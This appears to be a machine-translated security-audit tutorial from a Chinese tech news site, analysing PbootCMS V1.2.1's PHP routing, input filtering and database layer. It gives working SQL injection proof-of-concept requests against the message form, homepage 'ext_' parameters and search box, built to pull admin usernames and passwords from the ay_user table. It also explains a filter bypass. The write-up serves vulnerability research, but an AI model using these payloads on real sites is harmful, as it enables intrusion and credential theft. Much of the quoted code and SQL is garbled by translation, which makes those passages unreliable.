In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-04-02 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)06/01 Report--
This article will explain in detail how to understand the audit of PbootCMS vulnerabilities in php. The content of the article is of high quality, so the editor shares it for you as a reference. I hope you will have a certain understanding of the relevant knowledge after reading this article.
PbootCMS vulnerability audit
I. Environmental preparation
Download address: https://gitee.com/hnaoyun/PbootCMS/releases/V1.2.1
Domain name resolution: http://www.pboot.cms/
This system is very convenient by default, you can download it directly and use it without doing anything. (provided that the php sqlite extension is enabled)
We changed it to use the mysql database.
Mysql create a new database pbootcms and import the sql file in the / PbootCMS/static/backup/sql folder.
Import successfully, then modify the database configuration file,\ config\ database.php
Default account password for backend admin.php
Account: admin
Password: 123456
Be familiar with MVC
Directory structure:
PbootCMS-V1.2.1 ├─ apps Application │ ├─ admin background Module │ ├─ api api Module │ ├─ common Public Module │ ├─ home foreground Module ├─ config profile │ ├─ config.php profile │ ├─ database.php Database profile │ ├─ route.php user Custom routing rules ├ ─ core framework core │ ├─ function framework common function library │ │ ├─ handle.php helper library 1 │ │ ├─ helper.php helper library 2 ├─ template html template ├─ admin.php management side entry file ├─ api.php api entry file ├─ index.php front-end entry file 2.1 custom route
Route file: PbootCMS\ apps\ common\ route.php
For example: http://www.pboot.cms/index.php/about/1
Because his file is on the custom route of the system, so the above route resolution is
Routing:
'home/about' = >' home/about/index/scode'
Corresponding file: PbootCMS/apps/home/controller/AboutController.php
Method: index
Parameter: scode
That home is created by the corresponding entry file, such as URL_BLIND in index.php in the article
We customize a method to access
Add a custom route:
Successful access:
2.2 mvc dynamic routing
If there is no defined route for the custom route, it will be accessed according to the normal mvc mode.
For example: http://www.pboot.cms/index.php/Message/add
Lujin document: PbootCMS/apps/home/controller/MessageController.php
Method: add
We add a custom method in MessageController.php ourselves to access the
Public function test2 () {echo "MessageController-- > test2 method";}
Visit:
Http://www.pboot.cms/index.php/Message/test2
Kernel Analysis 3.1 Native GET,POST,REQUEST
Using native GET,POST,REQUEST variables is completely unfiltered
Test in the Message controller
Public function test2 () {/ / echo "MessageController-> test2 method"; var_dump ($_ GET); echo ""; var_dump ($_ POST); echo ""; var_dump ($_ REQUEST);}
You can see that there is no filtering.
So using the native variable acquisition method is likely to create vulnerabilities.
3.2 the system acquires variable functions
Path: PbootCMS/core/function/helper.php
Methods: get,post,request et al.
Finally, return filter ($name, $condition); a series of tests, and then return escape_string ($data); filter:
/ / get escaped data, support string, array, object function escape_string ($string, $dropStr = true) {if (! $string) return $string; if (is_array ($string)) {/ / array processing foreach ($string as $key = > $value) {$string [$key] = escape_string ($value) }} elseif (is_object ($string)) {/ / object handling foreach ($string as $key = > $value) {$string- > $key = escape_string ($value) } else {/ / string processing if ($dropStr) {$string = preg_replace ('/ (0x7e) | (0x27) | (0x22) | (updatexml) | (extractvalue) | (name_const) | (concat) / iFlower,', $string);} $string = htmlspecialchars (trim ($string), ENT_QUOTES, 'UTF-8'); $string = addslashes ($string);} return $string }
You can see that all the content passed through will be filtered by a regular match first.
It will replace 0x7e _ 0x27 ~ 0x22 ~ updatexml.extractvaluephilic nameworthy recording _ concat with''.
Then filter again to prevent xss and sql injection.
But here only the array value is filtered $string [$key] = escape_string ($value); key is not filtered.
Preg_replace can be bypassed by double writing.
Test:
Public function test2 () {/ / echo "MessageController-- > test2 method"; var_dump (get (a)); echo ""; var_dump (post (b)); echo ""; var_dump (request (c));}
The effect is as shown in the picture
3.3 Database Kernel
Test query data
Create a new data table
In MeaasgeController.php
Public function test2 () {/ / echo "MessageController-- > test2 method"; $id = get ("id"); $result = $this- > model- > getUser ($id); var_dump ($result);}
In PbootCMS/apps/home/model/ParserModel.php
/ / query test user public function getUser ($id) {return parent::table ("ay_testUser")-> where ("id=". $id)-> select ();}
You can query by visiting http://www.pboot.cms/index.php/Message/test2?id=1,
Obviously, there is sql injection:
Test insert data
MessageController.php:
Public function test2 () {/ / add users $data ["username"] = post ("username"); $data ["password"] = post ("password"); if ($data ["username"] & & $data ["password"]) $result = $this- > model- > addUser ($data); var_dump ($result);}
In PbootCMS/apps/home/model/ParserModel.php
/ / insert user data public function addUser ($data) {return parent::table ("ay_testUser")-> insert ($data);}
Successfully inserted.
Test update data
MessageController.php:
Public function test2 () {/ / Update user password $data = ["username" = > post ("username"), "password" = > post ("password")]; $result = $this- > model- > updateUser ($data); var_dump ($result);}
In PbootCMS/apps/home/model/ParserModel.php
/ / Update user data public function updateUser ($data) {return parent::table ("ay_testUser")-> where ("username='". $data ["username"]. "'")-> update (array ("password" = > $data ["password"]));}
The test was successful.
Test delete data
MessageController.php:
Public function test2 () {/ / Delete data $id = get ("id"); $result = $this- > model- > deleteUser ($id); var_dump ($result);}
In PbootCMS/apps/home/model/ParserModel.php
/ / Delete data public function deleteUser ($id) {return parent::table ("ay_testUser")-> where ("id='$id'")-> delete ();}
The test was deleted successfully.
3.4 debug the database kernel
The splicing where condition is obtained by where method without filtering.
The select method finally gets
The bottom layer of the entire db class is similar string concatenation.
4. Insert sql injection at the message office
Since this cms only filters array keys, not keys, it happens that arrays can be received at the browse.
Poc:
# POSTcontacts [content`, `create_ time`, `update_ time`) VALUES ('1girl,' 1moment, 1 and updatexml (1recorder concat (0x3a dint user (), 1));-- a] = 111&mobile=111&content=111&checkcode=111
We use browser + phpstorm debugging to detect injection vulnerabilities. (to facilitate testing, the source code has been modified to annotate the CAPTCHA function.)
First, the fields of the database message table are read and a three-dimensional array is returned. The array table_name is the name of the data table, and the name is contacts,mobile,content. Here, it is used as the key to receive data as post.
This works by traversing the respective name values of the two-dimensional array to receive post data.
$field_data = post ($value- > name)
Store the data in the data array, and because the accepted contacts is an array, the data becomes a multidimensional array.
Next, we debug and explore the addMessage operation, press F7
If ($this- > model- > addMessage ($data))
Here we are:
/ / add message public function addMessage ($data) {return parent::table ('ay_message')-> autoTime ()-> insert ($data);}
Continue to F7, here is mainly the insert function is more critical.
/ * data insertion model * * @ param array $data * can be an one-dimensional or two-dimensional array * one-dimensional array: array ('username'= > "xsh",' sex'= > 'male'), * two-dimensional array: array (* array ('username'= > "xsh",' sex'= > 'male'), * array ('username'= > "gmx") 'sex'= >' female') *) * @ param boolean $batch * whether the batch once insert feature is enabled Default true * @ return boolean | boolean | array * / final public function insert (array $data = array (), $batch = true) {/ / use the data function to insert data if (! $data & & isset ($this- > sql ['data'])) {return $this- > insert ($this- > sql [' data']) } if (is_array ($data)) {if (! $data) return; if (count ($data) = = count ($data, 1)) {/ / single data $keys ='; $values =''; foreach ($data as $key = > $value) {if (! Is_numeric ($key) {$keys. = "`". $key. "`,"; $values. = "'". $value. "',";} if ($this- > autoTimestamp | | (isset ($this- > sql ['auto_time']) & & $this- > sql [' auto_time'] = = true)) {$keys. = "`". $this- > createTimeField. "``". $this- > updateTimeField. "`,"; if ($this- > intTimeFormat) {$values. = "'". Time (). "','". Time (). Else {$values. = "'". Date ('Y-m-d Hrigi'). "','". Date ('Y-m-d Hrigi'). "',";} if ($keys) {/ / if a data association field is inserted, the field shall prevail on the associated data, otherwise the setting field shall prevail as $this- > sql ['field'] =' ('. Substr ($keys, 0,-1). Elseif (isset ($this- > sql ['field']) & & $this- > sql [' field']) {$this- > sql ['field'] = "({$this- > sql [' field']});} $this- > sql ['value'] =" (". Substr ($values, 0,-1). ")"; $sql = $this- > buildSql ($this- > insertSql);} else {/ / multiple data if ($batch) {/ / batch one-time insert $key_string ='; $value_string =''; $flag = false Foreach ($data as $keys = > $value) {if (! $flag) {$value_string. = 'SELECT';} else {$value_string. = 'UNION All SELECT' } foreach ($value as $key2 = > $value2) {/ / Field acquisition only executes if (! $flag & &! Is_numeric ($key2) {$key_string. = "`". $key2. "`,";} $value_string. = "'". $value2. "',";} $flag = true If ($this- > autoTimestamp | | (isset ($this- > sql ['auto_time']) & & $this- > sql [' auto_time'] = = true) {if ($this- > intTimeFormat) {$value_string. = "'". Time (). "','". Time (). Else {$value_string. = "'". Date ('Y-m-d Hrigi'). "','". Date ('Y-m-d Hrigi'). "',";} $value_string = substr ($value_string, 0,-1) } if ($this- > autoTimestamp | | (isset ($this- > sql ['auto_time']) & & $this- > sql [' auto_time'] = = true) {$key_string. = "`". $this- > createTimeField. "``". $this- > updateTimeField. "`,";} if ($key_string) {/ / if a data association field is inserted, the field shall prevail on the associated data, otherwise the setting field shall prevail as $this- > sql ['field'] =' ('. Substr ($key_string, 0,-1). Elseif (isset ($this- > sql ['field']) & & $this- > sql [' field']) {$this- > sql ['field'] = "({$this- > sql [' field']});} $this- > sql ['value'] = $value_string $sql = $this- > buildSql ($this- > insertMultSql); / / determine whether the SQL statement exceeds the database setting if (get_db_type () = = 'mysql') {$max_allowed_packet = $this- > getDb ()-> one (' SELECT @ @ global.max_allowed_packet', 2) } else {$max_allowed_packet = 1 * 1024 * 1024 / / other types of databases according to 1m limit} if (strlen ($sql) > $max_allowed_packet) {/ / if the data to be inserted is too large, it will be converted to inserting return $this- > insert ($data, false). }} else {/ / insert foreach in batches ($data as $keys = > $value) {$result = $this- > insert ($value);} return $result } elseif ($this- > sql ['from']) {if (isset ($this- > sql [' field']) & & $this- > sql ['field']) {/ / Table specified field copy $this- > sql [' field'] = "({$this- > sql ['field']})" } $sql = $this- > buildSql ($this- > insertFromSql);} else {return;} return $this- > getDb ()-> amd ($sql);}
Determine if data is empty and return.
Here count is used to determine whether data is a multi-dimensional array. If not, it is equal, otherwise it is not equal.
If (count ($data) = = count ($data, 1))
So, go to else, $key_string and $value_string for splicing.
Because data ['contacts'] is an array, foreach is done again to concatenate the key and the key value respectively.
The rest of the operation has been to splice $value_string, and then jump out of foreach
Then concatenate $key_string, then appear the sql array, enter the buildSql function, build the Sql statement, and get the
$sql = "INSERT INTO ay_message (`content`, `update_ time`, `update_ time`) VALUES ('1century,' 1century, 1 and updatexml (1je concat (0x3a create_ user ()), 1) -- a`, `create_ time`, `update_ time`) SELECT '111 SELECT' 111memoir 2021-02-21 1338 UNION All SELECT '2021-02-21 1338 UNION All SELECT' 2021-02-21 1339 SELECT 53' '2021-02-21 13 UNION All SELECT 3940' UNION All SELECT '2021-02-21 1340 UNION All SELECT' 2021-02-21 '2021-02-21 1340 UNION All SELECT' 2021-02-21 1340 UNION All SELECT 22 'UNION All SELECT' 2021-02-21 1340 UNION All SELECT '2021-02-21 1340 UNION All SELECT 25' "
That is, injection occurs and malicious sql statements are spliced.
INSERT INTO ay_message (`content`, `create_ time`, `update_ time`) VALUES ('1times,' 1times, 1 and updatexml (1 and updatexml (0x3a dint user (), 1));-a`, `create_ time`, `update_ time`)
Fifth, front desk home page sql injection
Poc:
Http://www.pboot.cms/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=12
PbootCMS/apps/home/controller/IndexController.php, index method:
/ / parserAfter-> parserSpecifyListLabel public function index () {$content = parent::parser ('index.html'); / / frame tag resolution $content = $this- > parser- > parserBefore ($content); / / CMS public tag front resolution $content = $this- > parser- > parserPositionLabel ($content,-1,' Home', SITE_DIR. / / CMS current location tag parses $content = $this- > parser- > parserSpecialPageSortLabel ($content, 0,', SITE_DIR. '/'); / / parse the category tag $content = $this- > parser- > parserAfter ($content); / / resolve $this- > cache ($content, true) after the CMS public tag;}
Follow up
$content = $this- > parser- > parserAfter ($content); this method
PbootCMS/apps/home/controller/ParserController.php,parserAfter ()
/ / parsing the global rear common label public function parserAfter ($content) {... $content = $this- > parserSpecifyListLabel ($content); / / specifying the list return $content;} / / parsing the specified category list tag public function parserSpecifyListLabel ($content) {. / / injecting $where2 = array () into the data filtering operation Foreach ($_ GET as $key = > $value) {if (substr ($key, 0,4) = 'ext_') {/ / other fields do not add $where2 [$key] = get ($key);}}. / / read data if ($page) {$data = $this- > model- > getList ($scode, $num, $order, $where1, $where2);} else {$data = $this- > model- > getSpecifyList ($scode, $num, $order, $where1, $where2);}}
Read data $this- > model- > getSpecifyList here
Here we receive all the external get parameters and then determine whether the first four characters begin with ext_. If they match, we splice them directly into the array of $where2 and bring them into the database for getList method and getSpecifyList query, while the bottom layer is string concatenation, filtering value, not filtering key, so there is injection.
Final sql statement
SELECT a.recording b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE (a.scode in) '7') OR a.subscodewriter 5') AND (a.CocodeAccordcn' AND a.status=1 AND d.type=2) AND (ext_price=1/**/and/**/updatexml (1 0x7e concat, (SELECT/**/distinct/**/concat (0x23 0x7e) / * * / FROM/**/ay_user/**/limit/**/0,1), 0x7e) # like'%') ORDER BY date DESC,sorting ASC,id DESC LIMIT 4VI. Search box sql injection
Poc:
Http://www.pboot.cms/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
Index method in PbootCMS/apps/home/controller/SearchController.php
Public function index () {$content = parent::parser ('search.html'); / / frame tag resolution $content = $this- > parser- > parserBefore ($content); / / CMS public tag pre-resolution $content = $this- > parser- > parserPositionLabel ($content, 0,' search', url ('/ home/Search/index')) / / CMS current location tag resolves $content = $this- > parser- > parserSpecialPageSortLabel ($content, 0, 'search results', url ('/ home/Search/index')); / / parses category tag $content = $this- > parser- > parserSearchLabel ($content); / / search result tag $content = $this- > parser- > parserAfter ($content); / / CMS public tag resolves $this- > cache ($content, true);}
Follow up
$this- > parser- > parserSearchLabel
ParserSearchLabel method in PbootCMS/apps/home/controller/ParserController.php
Here we bring malicious statements into
The next step is to read the data here.
/ / read data if (! $data = $this- > model- > getList ($scode, $num, $order, $where1, $where2, $fuzzy) {$content = str_replace ($matches [0] [$I],', $content); continue;}
Here received all the external get parameters and then directly spliced into the $where2 array and then brought into the database for getList method query, while the bottom is string concatenation, filtered value does not filter key, so there is injection.
How to understand the audit of PbootCMS vulnerabilities in php is shared here. I hope the above content can be helpful to you and you can learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.